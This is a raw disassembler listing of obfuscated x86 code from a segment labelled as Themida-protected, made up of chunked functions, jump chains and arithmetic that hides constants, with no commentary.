var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551F53 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00552C0A SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00552C45 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005537C7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005539E5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00553A30 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00553A76 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00554D36 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005554D8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00555F18 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055628A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005564F7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055661A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00556CD1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055707E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00557381 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055762F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00557A77 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00557D22 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005584D7 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00558799 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055888D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00558945 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00559060 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00559097 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005591E5 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00559B94 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0055AEC5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055AEEA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055B5A3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055B7D4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BCB8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055BD67 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055CBDD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055CD2A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055CD41 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055CF65 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055D5AD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055DCA5 SIZE 00000010 BYTES

		push	ebp
		jmp	loc_55CF65
sub_55314C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5554E9


loc_553152:				; CODE XREF: sub_5554E9-237Aj
		xchg	bl, dl
		jmp	loc_5526D0
; ---------------------------------------------------------------------------


loc_553159:				; CODE XREF: sub_5554E9-F5Cj
		add	esp, 4
		mov	dl, ah
		pop	eax
		push	ebx
		xchg	ah, byte ptr [esp+4+var_4]
		not	ah
		xchg	ah, byte ptr [esp+4+var_4]
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		jmp	loc_553152
; END OF FUNCTION CHUNK	FOR sub_5554E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553174:				; CODE XREF: sub_55ABF6-5144j
		pop	eax
		jmp	loc_55B1DF
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	547Fh
		mov	[esp], edi
		mov	edi, 27B642ABh
		inc	edi
		add	edi, 0FFFFFFFFh
		xor	edi, 6E34677Bh
		jmp	loc_5545AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_553199:				; CODE XREF: sub_55B62C-28DAj
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		mov	eax, [esp+8+var_8]
		add	esp, 4
		jmp	loc_551CF6
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559D1D


loc_5531AD:				; CODE XREF: sub_559D1D+381Dj
		sub	ebx, 77FF5FFFh
		jmp	loc_551A18
; END OF FUNCTION CHUNK	FOR sub_559D1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_5531B8:				; CODE XREF: sub_55910B-1A1Ej
		mov	ebx, [esp-6+arg_0+2]
		push	esi
		mov	esi, esp
		jmp	loc_552804
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_5531C3:				; CODE XREF: sub_557D5E-ED5j
		add	ebx, 5AAE3616h
		sub	ebx, esi
		sub	ebx, 5AAE3616h
		pop	esi
		push	edi
		mov	edi, 366C35A3h
		add	ebx, edi
		pop	edi
		add	ebx, eax
		push	ebp
		mov	ebp, 366C35A3h
		sub	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, 7F3E45F9h
		add	ebx, edi
		pop	edi
		movzx	ax, byte ptr [eax]
		push	small 5C5Bh
		mov	word ptr [esp+2+var_4+2], ax
		jmp	loc_555728
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553200:				; CODE XREF: sub_55ABF6-43D0j
		neg	eax
		xor	eax, 4A582ED9h
		xor	eax, 3C8F9679h
		sub	ecx, eax
		jmp	loc_552759
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559E57


loc_553213:				; CODE XREF: sub_559E57+2j
		push	small [esp+4+var_2]
		jmp	loc_5540B8
; END OF FUNCTION CHUNK	FOR sub_559E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55678F


loc_55321D:				; CODE XREF: sub_55678F+7154j
		mov	ecx, 69B656B2h
		sub	ecx, 274843F7h
		sub	ecx, 44811C4Fh
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 2C9E1298h
		jmp	loc_551E2C
; END OF FUNCTION CHUNK	FOR sub_55678F
; ---------------------------------------------------------------------------


loc_55323F:				; CODE XREF: Themida_:00554643j
		sub	cl, dl
		jmp	loc_558602
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_553246:				; CODE XREF: sub_554E9D+182Bj
		pop	esi
		push	27F1h
		jmp	loc_552428
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------


loc_553251:				; CODE XREF: Themida_:00554191j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5594D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_553260:				; CODE XREF: sub_55A4DA-5007j
		sub	eax, 3D408ABh
		pop	ebx
		sub	eax, edi
		push	edx
		jmp	loc_5569CE
; END OF FUNCTION CHUNK	FOR sub_55A4DA

; =============== S U B	R O U T	I N E =======================================



sub_55326E	proc near		; DATA XREF: Themida_:005513ACo

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 00551738 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 00552884 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00552CE7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00552DEF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00553605 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005536E6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055391C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00553B31 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005541BE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055431F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00554674 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055558E SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005557F4 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00555849 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00555953 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0055606A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005562C3 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00556AB5 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005572C6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00558612 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00558B42 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00559B83 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00559C2E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00559D3D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055A3A3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055C765 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055C8E8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055D283 SIZE 00000012 BYTES

		push	eax
		jmp	loc_55A3A3
sub_55326E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_553274:				; CODE XREF: sub_55C1DB+B9Dj
		pop	esi
		neg	edi
		push	ecx
		mov	ecx, 165A44D5h
		not	ecx
		jmp	loc_555CFC
; END OF FUNCTION CHUNK	FOR sub_55C1DB

; =============== S U B	R O U T	I N E =======================================



sub_553284	proc near		; CODE XREF: sub_557D32+172Bj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005547B3 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00554F33 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005582AB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00558468 SIZE 0000001B BYTES

		push	ebx
		jmp	loc_558468
sub_553284	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55328A:				; CODE XREF: sub_55AE3A-92Fj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	al, dh
		pop	dx
		add	bl, 0C0h
		jmp	loc_5535B5
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552C64


loc_5532A5:				; CODE XREF: sub_552C64+6AE9j
		mov	esp, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_552C64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_5532B0:				; CODE XREF: sub_55CE17-4CBCj
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebx
		jmp	loc_559FC4
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_5532C8:				; CODE XREF: sub_5546E4+73AEj
		sub	ebx, edx
		pop	edx
		add	ebx, ecx
		push	edi
		mov	edi, 2B4E607Bh
		dec	edi
		add	edi, 4CF6CF82h
		add	ebx, edi
		pop	edi
		pop	ecx
		push	eax
		push	edx
		push	786A07FEh
		jmp	loc_55377F
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------


loc_5532EA:				; CODE XREF: Themida_:00559515j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55D422
; ---------------------------------------------------------------------------


loc_5532F5:				; CODE XREF: Themida_:00552260j
		pop	edx
		add	bh, 89h
		sub	al, bh
		pop	ebx
		push	edx
		push	eax
		jmp	loc_55CE10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553303:				; CODE XREF: sub_55ABF6-820Cj
		sub	ebx, 2B5B6668h
		add	ebx, ebp
		push	edx
		mov	edx, 4DED793Ah
		jmp	loc_55D95E
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_553316:				; CODE XREF: Themida_:00557F09j
		add	esp, 4
		pop	ebp
		jmp	loc_556581
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553EEA


loc_553322:				; CODE XREF: sub_553EEA-1727j
		pop	edi
		sub	esp, 4
		mov	[esp+8+var_8], eax
		jmp	loc_559D2A
; END OF FUNCTION CHUNK	FOR sub_553EEA

; =============== S U B	R O U T	I N E =======================================



sub_553331	proc near		; DATA XREF: Themida_:0055140Co
		mov	cx, [esp+0]
		jmp	sub_5586A8
sub_553331	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55333A:				; CODE XREF: sub_55AE3A-3F21j
		or	ah, 0F7h
		jmp	loc_559970
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_553342:				; CODE XREF: Themida_:00557120j
		pop	ebx
		mov	cl, al
		pop	eax
		not	cl
		jmp	loc_555CF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552C64


loc_55334D:				; CODE XREF: sub_552C64+C2Ej
		add	edi, esi
		pop	esi
		push	ebx
		jmp	loc_559721
; END OF FUNCTION CHUNK	FOR sub_552C64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_553356:				; CODE XREF: sub_559249-1408j
		xor	ecx, eax
		sub	esp, 4
		jmp	loc_551BF0
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558657


loc_553360:				; CODE XREF: sub_558657-2FA6j
		pop	eax
		add	ebp, 2
		sub	esp, 4
		jmp	loc_55AA56
; END OF FUNCTION CHUNK	FOR sub_558657
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557093


loc_553372:				; CODE XREF: sub_557093+3AD6j
		pop	esi
		sub	esi, 2093073Ah
		mov	edi, esi
		pop	esi
		add	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 2
		jmp	loc_551BE8
; END OF FUNCTION CHUNK	FOR sub_557093
; ---------------------------------------------------------------------------


loc_553392:				; CODE XREF: Themida_:005578A8j
		push	77BCh
		mov	[esp], eax
		jmp	loc_556AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B585


loc_55339F:				; CODE XREF: sub_55B585+9C7j
		push	1B6Bh
		jmp	loc_558FF8
; END OF FUNCTION CHUNK	FOR sub_55B585
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_5533A9:				; CODE XREF: sub_55910B+2A06j
		pop	eax
		jmp	loc_558250
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_5533AF:				; CODE XREF: sub_55C814-80F4j
		mov	esi, 5A1245A5h
		shl	esi, 1
		shl	esi, 8
		dec	esi
		jmp	loc_55CC97
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_5533BF:				; CODE XREF: sub_55611A+511j
		push	ecx
		push	eax
		push	ecx
		mov	cl, 0Eh
		jmp	sub_557DAD
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_5533C9:				; CODE XREF: sub_55C814-3FDCj
		pop	esi
		sub	edi, ebx
		pop	ebx
		jmp	loc_55B48D
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5533D2:				; CODE XREF: sub_55ABF6-86DEj
		mov	esp, [esp+0]
		push	ebx
		mov	ebx, 2D9A77B7h
		xor	ecx, ebx
		jmp	loc_55BB16
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_5533E2:				; CODE XREF: sub_554592+2117j
		push	ecx
		mov	ecx, 6F8C5D28h
		xor	ecx, 2EAE2595h
		add	eax, ecx
		pop	ecx
		xor	eax, 206544C1h
		jmp	loc_55AA75
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------


loc_5533FB:				; CODE XREF: Themida_:00554932j
		and	ebp, 14EF2D35h
		and	ebp, 7F681FA2h
		shl	ebp, 3
		inc	ebp
		sub	ebp, 5EEF413h
		jmp	loc_55161F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554114


loc_553416:				; CODE XREF: sub_554114-1651j
		mov	[esp+0], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		shr	eax, 0Ah
		jmp	loc_55B4D9
; END OF FUNCTION CHUNK	FOR sub_554114
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55342F:				; CODE XREF: sub_55AE3A-5B6Aj
		sub	cl, 4Bh
		shl	cl, 2
		jmp	loc_556E9F
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55343A:				; CODE XREF: sub_559249-FDCj
		xor	ebx, eax
		pop	eax
		add	ecx, 1D1E0896h
		sub	ecx, ebx
		sub	ecx, 1D1E0896h
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5554B6
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_553459:				; CODE XREF: sub_552215-2CFj
		push	4D7D1430h
		pop	esi
		jmp	loc_55DDE7
; END OF FUNCTION CHUNK	FOR sub_552215

; =============== S U B	R O U T	I N E =======================================



sub_553464	proc near		; CODE XREF: sub_55ABF6-70FBj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055609D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055C4CB SIZE 0000000B BYTES

		sub	esp, 4
		jmp	loc_55609D
sub_553464	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556901


loc_55346C:				; CODE XREF: sub_556901+6j
		xor	[esp+4], ebx
		pop	ebx
		pop	dword ptr [ebx]
		xor	dword ptr [ebx], 2CE799Fh
		mov	ebx, [esp-4+arg_0]
		jmp	loc_557B17
; END OF FUNCTION CHUNK	FOR sub_556901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A407


loc_553481:				; CODE XREF: sub_55A407+C98j
		add	[esp+0], ax
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55A407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55348B:				; CODE XREF: sub_55ABF6-8586j
		push	esi
		mov	esi, esp
		jmp	sub_55BEDA
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_553493:				; CODE XREF: sub_55C58B-877Aj
		add	esp, 2
		sub	dl, 0FFh
		push	bx
		push	ecx
		mov	ch, 0AEh
		mov	bl, ch
		pop	ecx
		sub	dl, bl
		pop	bx
		sub	bl, dl
		pop	edx
		push	edx
		mov	dl, 3
		sub	dl, 0FFh
		xor	dl, 0DAh
		jmp	loc_559B28
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552716


loc_5534B6:				; CODE XREF: sub_552716+B1FBj
		xchg	eax, [esp+8+var_8]
		pop	esp
		mov	[edi+20h], ebp
		pop	ebp
		jmp	loc_551FD4
; END OF FUNCTION CHUNK	FOR sub_552716
; ---------------------------------------------------------------------------


loc_5534C3:				; CODE XREF: Themida_:00555387j
		push	edi
		mov	edi, 0AC12AA6h
		push	edi
		jmp	loc_55B389
; ---------------------------------------------------------------------------


loc_5534CF:				; CODE XREF: Themida_:00559E2Cj
		push	esi
		mov	esi, 47AD7C2Bh
		mov	ebx, 0EC8DF94Ah
		add	ebx, esi
		pop	esi
		mov	edi, ebx
		jmp	loc_554922
; ---------------------------------------------------------------------------


loc_5534E4:				; CODE XREF: Themida_:005570C9j
		add	esi, 5B3708DAh
		add	esi, edi
		jmp	loc_55B571
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5534F1:				; CODE XREF: sub_55ABF6+2983j
		mov	[esp+2+var_4+2], ebx
		mov	ebx, 4
		jmp	loc_5585EC
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_5534FE:				; CODE XREF: sub_554E9D+2385j
		sub	edx, edi
		pop	edi
		jmp	loc_552538
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_553506:				; CODE XREF: sub_55A4DA-3219j
		mov	[esp+10h+var_10], esi
		mov	esi, 35C85AE0h
		shr	esi, 5
		dec	esi
		sub	esi, 4565631Ah
		neg	esi
		shr	esi, 4
		push	ebp
		mov	ebp, 43B7200h
		xor	esi, ebp
		mov	ebp, [esp+14h+var_14]
		jmp	loc_55726A
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_55352D:				; CODE XREF: Themida_:00551B77j
		push	edi
		pop	edx
		jmp	loc_55790E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_553534:				; CODE XREF: sub_55C1DB-64DDj
		xor	ecx, 0D2D6009Eh
		xor	edi, ecx
		pop	ecx
		xor	edi, 5E626EACh
		sub	ebx, edi
		mov	edi, [esp+0]
		add	esp, 4
		sub	ebx, 1F391DA5h
		push	dword ptr [eax]
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------


loc_553558:				; CODE XREF: Themida_:0055BAAEj
		mov	esp, [esp]
		add	dword ptr [esp], 24817C6Eh
		add	dword ptr [esp], 415D4C14h
		add	[esp], eax
		jmp	loc_55710C

; =============== S U B	R O U T	I N E =======================================



sub_553571	proc near		; CODE XREF: sub_559DEB+4j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4

; FUNCTION CHUNK AT 005538ED SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00555906 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055607A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00556641 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00557BCE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055BB9A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055CAFD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055D8DB SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		jmp	loc_55D8DB
sub_553571	endp

; ---------------------------------------------------------------------------


loc_55358B:				; CODE XREF: Themida_:005569EFj
		mov	esi, 4
		add	edx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55C980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5535A6:				; CODE XREF: sub_55ABF6-81A1j
		pop	[esp-6+arg_0+2]
		pop	esp
		btr	word ptr [esp-0Eh+arg_8+2], ax
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_5535B5:				; CODE XREF: sub_55AE3A-7B9Aj
		add	bl, 2Ah
		jmp	loc_55828E
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_5535BD:				; CODE XREF: Themida_:005575E9j
		push	ecx
		mov	ecx, 96CDDB11h
		sub	edi, ecx
		pop	ecx
		jmp	loc_556237
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_551909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55178F


loc_5535E8:				; CODE XREF: sub_55178F+1j
		mov	ebx, 0D4913345h
		add	ecx, 1E6C3581h
		jmp	loc_55D314
; END OF FUNCTION CHUNK	FOR sub_55178F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_5535F8:				; CODE XREF: sub_559249-3178j
		add	eax, 6F53EDEFh
		mov	ecx, eax
		pop	eax
		jmp	loc_55D652
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_553605:				; CODE XREF: sub_55326E+4066j
		pop	edx
		add	ebx, 4
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		jmp	loc_5557F4
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_553617:				; CODE XREF: sub_558326+28A1j
		push	edx
		mov	edx, 24485B77h
		shl	edx, 4
		jmp	loc_55179B
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------


loc_553625:				; CODE XREF: Themida_:00556668j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_552B00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_553633:				; CODE XREF: sub_55A4DA-81A4j
		pop	ecx
		shl	edx, 4
		jmp	loc_5529FA
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_55363C:				; CODE XREF: sub_55A0D6+2375j
		xor	[esp+4+var_4], edx
		xor	edx, [esp+4+var_4]
		jmp	loc_556D72
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553647:				; CODE XREF: sub_55ABF6-4367j
		push	ecx
		mov	ecx, esp
		push	edx
		jmp	loc_5576D6
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_553650:				; CODE XREF: sub_551F97+519Bj
		sub	edx, 1AD165C5h
		shl	edx, 6
		add	edx, 5B87B4C4h
		add	ebx, edx
		jmp	loc_5545DC
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_553666:				; CODE XREF: sub_5546E4-4A3j
		pop	esp
		mov	ax, [esp-4+arg_0]
		push	74AAh
		mov	[esp+0], eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 2
		sub	esp, 4
		mov	[esp+8+var_8], edi
		jmp	loc_55226E
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------


loc_55368B:				; CODE XREF: Themida_:00559412j
		push	eax
		mov	eax, 293D46FAh
		jmp	loc_55736A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B265


loc_553696:				; CODE XREF: sub_55B265-288j
		add	esp, 4
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	dx, [esp-8+arg_4]
		sub	esp, 4
		mov	[esp-4+arg_0], ebx
		push	esp
		mov	ebx, [esp+0]
		add	esp, 4
		push	edx
		mov	edx, 24F0CBCh
		add	edx, 0E0E09C6h
		dec	edx
		dec	edx
		shr	edx, 6
		push	ebx
		mov	ebx, 5B5C3264h
		jmp	loc_557A3C
; END OF FUNCTION CHUNK	FOR sub_55B265
; ---------------------------------------------------------------------------


loc_5536CC:				; CODE XREF: Themida_:00553C36j
		sub	esi, 1F202A0h
		add	edx, esi
		jmp	loc_55C7A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_5536D9:				; CODE XREF: sub_55D40D-599Bj
		pop	eax
		xchg	esi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edx
		jmp	loc_55AB39
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_5536E6:				; CODE XREF: sub_55326E+F5Fj
		add	dword ptr [edx+30h], 0ACDFE7FCh
		popa
		popf
		retn
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_5536F5:				; CODE XREF: Themida_:00556FC4j
		sub	ecx, edx
		pop	edx
		jmp	loc_555225

; =============== S U B	R O U T	I N E =======================================



sub_5536FD	proc near		; CODE XREF: sub_555C6B+8064j

; FUNCTION CHUNK AT 00554259 SIZE 00000011 BYTES
